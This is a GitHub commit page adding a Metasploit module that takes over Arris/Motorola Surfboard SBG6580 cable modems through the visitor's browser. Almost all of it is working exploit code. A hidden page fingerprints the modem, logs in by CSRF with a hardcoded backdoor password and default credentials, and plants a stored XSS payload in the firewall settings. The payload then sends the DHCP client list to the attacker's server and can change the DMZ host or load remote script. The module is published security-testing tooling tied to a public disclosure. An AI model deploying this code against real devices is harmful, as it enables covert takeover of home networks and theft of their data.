Skip to content

Commit c9bf8f3

Browse files
committed
Land rapid7#5105, @joevennix's cable modem 0day
2 parents 1bfda9e + 831a59b commit c9bf8f3

File tree

1 file changed

+323
-0
lines changed

1 file changed

+323
-0
lines changed
Lines changed: 323 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,323 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover',
16+
'Description' => %q{
17+
18+
The web interface for the Arris / Motorola Surfboard SBG6580 has
19+
several vulnerabilities that, when combined, allow an arbitrary website to take
20+
control of the modem, even if the user is not currently logged in. The attacker
21+
must successfully know, or guess, the target's internal gateway IP address.
22+
This is usually a default value of 192.168.0.1.
23+
24+
First, a hardcoded backdoor account was discovered in the source code
25+
of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF
26+
in the device's login form, these credentials - along with the default
27+
"admin/motorola" - can be sent to the device by an arbitrary website, thus
28+
inadvertently logging the user into the router.
29+
30+
Once successfully logged in, a persistent XSS vulnerability is
31+
exploited in the firewall configuration page. This allows injection of
32+
Javascript that can perform any available action in the router interface.
33+
34+
The following firmware versions have been tested as vulnerable:
35+
36+
SBG6580-6.5.2.0-GA-06-077-NOSH, and
37+
SBG6580-8.6.1.0-GA-04-098-NOSH
38+
39+
},
40+
'Author' => [ 'joev' ],
41+
'DisclosureDate' => 'Apr 08 2015',
42+
'License' => MSF_LICENSE,
43+
'Actions' => [ [ 'WebServer' ] ],
44+
'PassiveActions' => [ 'WebServer' ],
45+
'DefaultAction' => 'WebServer',
46+
'References' => [
47+
[ 'CVE', '2015-0964' ], # XSS vulnerability
48+
[ 'CVE', '2015-0965' ], # CSRF vulnerability
49+
[ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor
50+
[ 'URL', 'https://community.rapid7.com/rapid7_blogpostdetail?id=a111400000AanBs' ] # Original disclosure
51+
]
52+
))
53+
54+
register_options([
55+
OptString.new('DEVICE_IP', [
56+
false,
57+
"Internal IP address of the vulnerable device.",
58+
'192.168.0.1'
59+
]),
60+
OptString.new('LOGINS', [
61+
false,
62+
"Comma-separated list of user/pass combinations to attempt.",
63+
'technician/yZgO8Bvj,admin/motorola'
64+
]),
65+
OptBool.new('DUMP_DHCP_LIST', [
66+
true,
67+
"Dump the MAC, IP, and hostnames of all registered DHCP clients.",
68+
true
69+
]),
70+
OptInt.new('SET_DMZ_HOST', [
71+
false,
72+
"The final octet of the IP address to set in the DMZ (1-255).",
73+
nil
74+
]),
75+
OptString.new('BLOCK_INTERNET_ACCESS', [
76+
false,
77+
"Comma-separated list of IP addresses to block internet access for.",
78+
''
79+
]),
80+
OptString.new('CUSTOM_JS', [
81+
false,
82+
"A string of javascript to execute in the context of the device web interface.",
83+
''
84+
]),
85+
OptString.new('REMOTE_JS', [
86+
false,
87+
"A URL to inject into a script tag in the context of the device web interface.",
88+
''
89+
])
90+
], self.class)
91+
end
92+
93+
def run
94+
if datastore['SET_DMZ_HOST']
95+
dmz_host = datastore['SET_DMZ_HOST'].to_i
96+
if dmz_host < 1 || dmz_host > 255
97+
raise ArgumentError, "DMZ host must be an integer between 1 and 255."
98+
end
99+
end
100+
101+
exploit
102+
end
103+
104+
def on_request_uri(cli, request)
105+
if request.method =~ /post/i
106+
file = store_loot(
107+
"dhcp.clients", "text/json", cli.peerhost,
108+
request.body, "arris_surfboard_xss", "DHCP client list gathered from modem"
109+
)
110+
print_good "Dumped DHCP client list from #{cli.peerhost}"
111+
print_good file
112+
elsif request.uri =~ /\/dmz$/i
113+
print_good "DMZ host successfully reset to #{datastore['SET_DMZ_HOST']}."
114+
send_response_html(cli, '')
115+
else
116+
send_response_html(cli, exploit_html)
117+
end
118+
end
119+
120+
def set_dmz_host_js
121+
return '' unless datastore['SET_DMZ_HOST'].present?
122+
%Q|
123+
var x = new XMLHttpRequest;
124+
x.open('POST', '/goform/RgDmzHost.pl');
125+
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
126+
x.send('DmzHostIP3=#{datastore['SET_DMZ_HOST']}');
127+
top.postMessage(JSON.stringify({type:'dmz',done:true}), '*');
128+
|
129+
end
130+
131+
def dump_dhcp_list_js
132+
return '' unless datastore['DUMP_DHCP_LIST']
133+
%Q|
134+
var f = document.createElement('iframe');
135+
f.src = '/RgDhcp.asp';
136+
f.onload = function() {
137+
var mac = f.contentDocument.querySelector('input[name="dhcpmacaddr1"]');
138+
var rows = [];
139+
if (mac) {
140+
var tr = mac.parentNode.parentNode;
141+
while (tr) {
142+
if (tr.tagName === 'TR' && !tr.querySelector('input[type="Submit"]')) {
143+
var tds = [].slice.call(tr.children);
144+
var row = [];
145+
rows.push(row);
146+
for (var i in tds) {
147+
row.push(tds[i].innerText);
148+
}
149+
}
150+
tr = tr.nextSibling;
151+
}
152+
}
153+
if (rows.length > 0) {
154+
top.postMessage(JSON.stringify({type:'dhcp',rows:rows}), '*');
155+
document.body.removeChild(f);
156+
}
157+
};
158+
document.body.appendChild(f);
159+
|
160+
end
161+
162+
def exploit_js
163+
[
164+
dump_dhcp_list_js,
165+
set_dmz_host_js,
166+
custom_js
167+
].join("\n")
168+
end
169+
170+
def exploit_html
171+
<<-EOS
172+
<!doctype html>
173+
<html>
174+
<body>
175+
176+
<script>
177+
178+
window.onmessage = function(e) {
179+
var data = JSON.parse(e.data);
180+
if (data.type == 'dhcp') {
181+
var rows = JSON.stringify(data.rows);
182+
var xhr = new XMLHttpRequest();
183+
xhr.open('POST', '#{get_uri}/collect');
184+
xhr.send(rows);
185+
} else if (data.type == 'dmz') {
186+
var xhr = new XMLHttpRequest();
187+
xhr.open('GET', '#{get_uri}/dmz');
188+
xhr.send();
189+
}
190+
}
191+
192+
var js = (#{JSON.generate({ js: exploit_js })}).js;
193+
194+
var HIDDEN_STYLE =
195+
'position:absolute;left:-9999px;top:-9999px;';
196+
197+
function exploit(hosts, logins) {
198+
for (var idx in hosts) {
199+
buildImage(hosts[idx]);
200+
}
201+
202+
function buildImage(host) {
203+
var img = new Image();
204+
img.src = host + '/images/px1_Ux.png';
205+
img.setAttribute('style', HIDDEN_STYLE);
206+
img.onload = function() {
207+
if (img.width === 1 && img.height === 1) {
208+
deviceFound(host, img);
209+
}
210+
img.parentNode.removeChild(img);
211+
};
212+
img.onerror = function() {
213+
img.src = host + '/logo_new.gif';
214+
img.onload = function() {
215+
if (img.width === 176 && img.height === 125) {
216+
deviceFound(host, img);
217+
}
218+
}
219+
img.onerror = function() {
220+
img.parentNode.removeChild(img);
221+
};
222+
};
223+
document.body.appendChild(img);
224+
}
225+
226+
function deviceFound(host, img) {
227+
// but also lets attempt to log the user in with every login
228+
var count = 0;
229+
for (var idx in logins) {
230+
attemptLogin(host, logins[idx], function() {
231+
if (++count >= logins.length) {
232+
attemptExploit(host);
233+
}
234+
})
235+
}
236+
}
237+
238+
function attemptExploit(host) {
239+
var form = document.createElement('form');
240+
form.setAttribute('style', HIDDEN_STYLE);
241+
form.setAttribute('method', 'POST');
242+
form.setAttribute('action', host+'/goform/RgFirewallEL')
243+
document.body.appendChild(form);
244+
245+
var inputs = [];
246+
var inputNames = [
247+
'EmailAddress', 'SmtpServerName', 'SmtpUsername',
248+
'SmtpPassword', 'LogAction'
249+
];
250+
251+
var input;
252+
for (var idx in inputNames) {
253+
input = document.createElement('input');
254+
input.setAttribute('type', 'hidden');
255+
input.setAttribute('name', inputNames[idx]);
256+
form.appendChild(input);
257+
inputs.push(input)
258+
}
259+
inputs[0].setAttribute('value', '<script>@a.com<script>eval(window.name);<\\/script>');
260+
inputs[inputs.length-1].setAttribute('value', '0');
261+
262+
var iframe = document.createElement('iframe');
263+
iframe.setAttribute('style', HIDDEN_STYLE);
264+
265+
window.id = window.id || 1;
266+
var name = '/*abc'+(window.id++)+'*/ '+js;
267+
iframe.setAttribute('name', name);
268+
document.body.appendChild(iframe);
269+
270+
form.setAttribute('target', name);
271+
form.submit();
272+
273+
setTimeout(function() {
274+
iframe.removeAttribute('sandbox');
275+
iframe.src = host+'/RgFirewallEL.asp';
276+
}, 1000);
277+
}
278+
279+
function attemptLogin(host, login, cb) {
280+
try {
281+
var xhr = new XMLHttpRequest();
282+
xhr.open('POST', host+'/goform/login');
283+
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
284+
xhr.send('loginUsername='+encodeURIComponent(login[0])+
285+
'&loginPassword='+encodeURIComponent(login[1]));
286+
xhr.onerror = function() {
287+
cb && cb();
288+
cb = null;
289+
}
290+
} catch(e) {};
291+
}
292+
}
293+
294+
var logins = (#{JSON.generate({ logins: datastore['LOGINS'] })}).logins;
295+
var combos = logins.split(',');
296+
var splits = [], s = '';
297+
for (var i in combos) {
298+
s = combos[i].split('/');
299+
splits.push([s[0], s[1]]);
300+
}
301+
302+
exploit(['http://#{datastore['DEVICE_IP']}'], splits);
303+
304+
</script>
305+
306+
</body>
307+
</html>
308+
EOS
309+
end
310+
311+
def custom_js
312+
rjs_hook + datastore['CUSTOM_JS']
313+
end
314+
315+
def rjs_hook
316+
remote_js = datastore['REMOTE_JS']
317+
if remote_js.present?
318+
"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "
319+
else
320+
''
321+
end
322+
end
323+
end

0 commit comments

Comments
 (0)